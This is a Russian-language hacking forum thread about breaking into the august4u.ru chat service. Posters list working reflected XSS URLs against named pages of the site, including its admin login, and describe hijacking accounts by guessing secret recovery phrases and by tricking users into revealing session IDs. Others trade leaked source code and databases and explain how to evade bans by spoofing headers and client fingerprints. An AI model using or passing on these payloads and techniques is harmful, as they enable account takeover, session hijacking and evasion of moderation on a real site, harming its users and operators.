|
А есть чего-нить на чатах august4u.ru?
Ребята помогите,не надо мне давать конкретно что делать просто скажите что тут возможно и объясните как сделать,пожалуйста помогите!!
Спасибо. _http://russianchat.august4u.ru/ |
тебе сюды http://forum.antichat.ru/thread9471.html все уязвимости были написаны!!! и пока новых ненайдено как найдем так сообщим;)
|
http://forum.antichat.ru/threadnav10550-4-10.html на вот почитай.
|
вообщето что я описывал, часть уже залатали... ищемс новые...
|
Цитата:
если че найдешь отпишися очень интеренсо!! полюбому дырочки есть :d |
спасибо челы =).
|
Цитата:
|
Всем привет) заходил на форум только ради августовских чатов... общаюсь в них был админам одного;) не скрою узнал много интересного... но Дело по моему пишет только "tanzwut" тебе мужик отдельный респект!;)
По аугусту похоже только эта тема открыта осталась... хотелось бы немножко добавить от себя) про пароли и секретные фразы.. пароли естесно меняют все.. а вот к секретным фразам относяца не так внимательно) анкет админов правда не забирал... но в некоторых чатах угнал много(только ради спортивного интереса;) и большенство по секретным фразам ака смена пароля) за частую это был или ник или имя)) еще насчет секретных враз.. тут в другом посте писали что: админ может востановить пароль по этой фразе.. но секретную фразу можно поменять вместе с паролем) про пароли вроди все сказал) теперь собственно зачем заходил) ... до сегодняшнего дня сессию и ид можно было узнать простым вопросом... типа: "слухай (по)друг(а) а дай ссылочку на творчество на первое произведение плиз))".. сам сегодня сидел под ником админа в одном чате... можно было делать всё.. кроме кила, удаления анкет и захода в админку(там похоже ип свиряица.. имхо) но тема прикрылась:(( теперь только сессию можно так узнать, еще ее можно узнать спросив ссылку на смайлы... и собственно цель моего визита) если кто нить знает как узнать ид пользователя(собеседника) напишите пожалуйста в личку! буду очень признателен! за сим откланяюсь пожелав всем удачи и дольнейших поисков багов)))) |
Вобщем от делать нечего
_http://august4u.ru/creation/write.inc?id="><script>alert(/bla/);</script>
_http://august4u.ru/creation/write.inc?preview=1&Name=Admin%20%CB%CE%D5 _http://august4u.ru/creation/write.inc?preview=1&sessname="><script>alert(/bla/);</script> _http://august4u.ru/creation/write.inc?AuthorProfile=1&sessname="><script>alert (/bla/);</script> _http://august4u.ru/creation/write.inc?AuthorProfile=1&id="><script>alert(/bla/);</script> _http://august4u.ru/admin/auth/auth.php?AuthTitle=<script>alert(/bla/);</script> _http://august4u.ru/admin/auth/auth.php?AuthError=<script>alert(/bla/);</script> :rolleyes: Летс Гоу.......... |
Летс Гоу..........[/QUOTE]
сколько хочешь за исходники и БД? |
кстати народ лазил по просторам яндекса наткнулся на сайт там продают скрипты чата августа просят 150$ но есть возможность скачать архивы запароленые.......чем можно подобрать пароль на МНОГОпоточный рар?????
|
что то не понял. какие архивы? откуда?
|
тыц
Ты в разделе "Чаты" устроил "покупка, продажа" и "Soft - *nix/windows" Антошка2003 Он говорит что исходники можно скачать, только рар в котором они находятся защищен паролем и за пароль просят деньги, видимо так |
по поводу продажы подробно тут - http://mini-rinok.ru/showthread.php?t=12
upd: тоха стукни в асю, разговор есть... |
Танзвут, превед
|
Цитата:
Че непонятного? есть два архива раровских запароленых внутри архива лежат какийта скрипты вот просят за них 150$ |
[QUOTE=Connor]тыц
Ты в разделе "Чаты" устроил "покупка, продажа" и "Soft - *nix/windows" Антошка2003 Он говорит что исходники можно скачать, только рар в котором они находятся защищен паролем и за пароль просят деньги, видимо так[/QUOне че я не устраивал........я че продаю что то? |
[QUOTE=TANZWUT]по поводу продажы подробно тут - http://mini-rinok.ru/showthread.php?t=12
Это ты продаеш за 300 а я знаю где за 150 :D .....=) ну а то что ты продаешь реально как август и так же раздавать чаты? или просто один чат? |
https://forum.antichat.ru/thread45723.html вот тут я выложил сорцы в паблик вчера.. так что те кто продаёт за 150 пусть обломяца ;)
я теперь продаю только расшифрованые скрипты и БД... |
Предоставляю Вашему вниманию уникальный скрипт чата August4u.ru.
Хочу Вам сказать, что халявы Вы здесь не найдёте! Скрипт платный! Скрипт находится в архивах. Архивы под паролем,разделены на 2 части.После оплаты вы получите пароль на почтовый ящик! Инструкция по установке прилагается! Скрипт чата August4u.ru <<<СКАЧАТЬ 1 часть>>> Скрипт чата August4u.ru <<<СКАЧАТЬ 2 часть>>> Оплату производите Любым способом в размере 150 wmz! вот как расписано=) чем бы пасс подобрать и посмотреть че там внутри......... |
скачай то что выложил Tanzwut и попроси у этих челов чтобы дали тебе название файлов, какие есть в архиве
|
вот этот сайт http://august4you.narod.ru/
но поговорить с владельцем мне что то так и не удалось |
ничё удивительного ибо я думаю кидок... я когда продавал сорцы, делал чтоб было видно файлы в архиве (а то получается как кот в мешке..). и даже многотомный архив столько не может весить, уже попробовал упаковать нормальные сорцы с БД, размер ну никак неможет быть 2,28 МБ (2 400 000 байт) + 2,27 МБ (2 385 800 байт) всё это бы поместилось в 1 rar архив размером 1,87 МБ (1 963 496 байт) при среднем сжатии (размер незжатой папки 2,91 МБ (3 060 181 байт)).
|
а может там еще и БД??? ну я ему написал чтоб он название файлов скинул посмотрим че он расскажет=)
|
да и народ вызывает недоверие...
|
а как обойти бан ч атах августа?
|
меняй браузер/прокси/разрешение экрана/замена http заголовков.
чат определяет - браузеры: "Microsoft Internet Explorer", "Netscape Navigator", "Mozilla", "Opera", "Konqueror", "Galeon", "Phoenix", "Firebird", "Firefox", "Safari". Ось: "Windows 3.x", "Windows 95/98/NT", "Windows NT", "Windows NT 3.1", "Windows NT 3.5", "Windows NT 4.0", "Windows 95", "Windows 98", "Windows ME", "Windows 2000", "Windows XP", "Windows .NET", "Linux", "FreeBSD", "SunOS", "BeOS", "IRIX", "AIX", "HP-UX", "OS/2", "Mac OS X" CPU: "Intel x86", "PowerPC", "Motorola 680x0", "SGI MIPS", "PA-RISC", "Sun SPARC" качество цветопередачи: "black and white", "4 colors", "16 colors", "256 colors", "High Color (16 bit)", "True Color (24 bit)", "True Color (32 bit)" тип соединения: "Modem", "Local Area Network", "Offline" так же проверяет заголовки: REMOTE_ADDR; HTTP_X_FORWARDED_FOR; HTTP_X_FORWARDED; HTTP_FORWARDED_FOR; HTTP_FORWARDED; HTTP_VIA; HTTP_X_COMING_FROM; HTTP_COMING_FROM; HTTP_SERVER_VARS; HTTP_ENV_VARS; так же смотри в реестре: "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\LastChecked", _rnd, "REG_DWORD" "HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\SoftwareId", cid.value, "REG_DWORD" и определяет ID компа по этим ключам: Код:
["{89820200-ECBD-11CF-8B85-00AA005B4383}", |
| Время: 18:42 |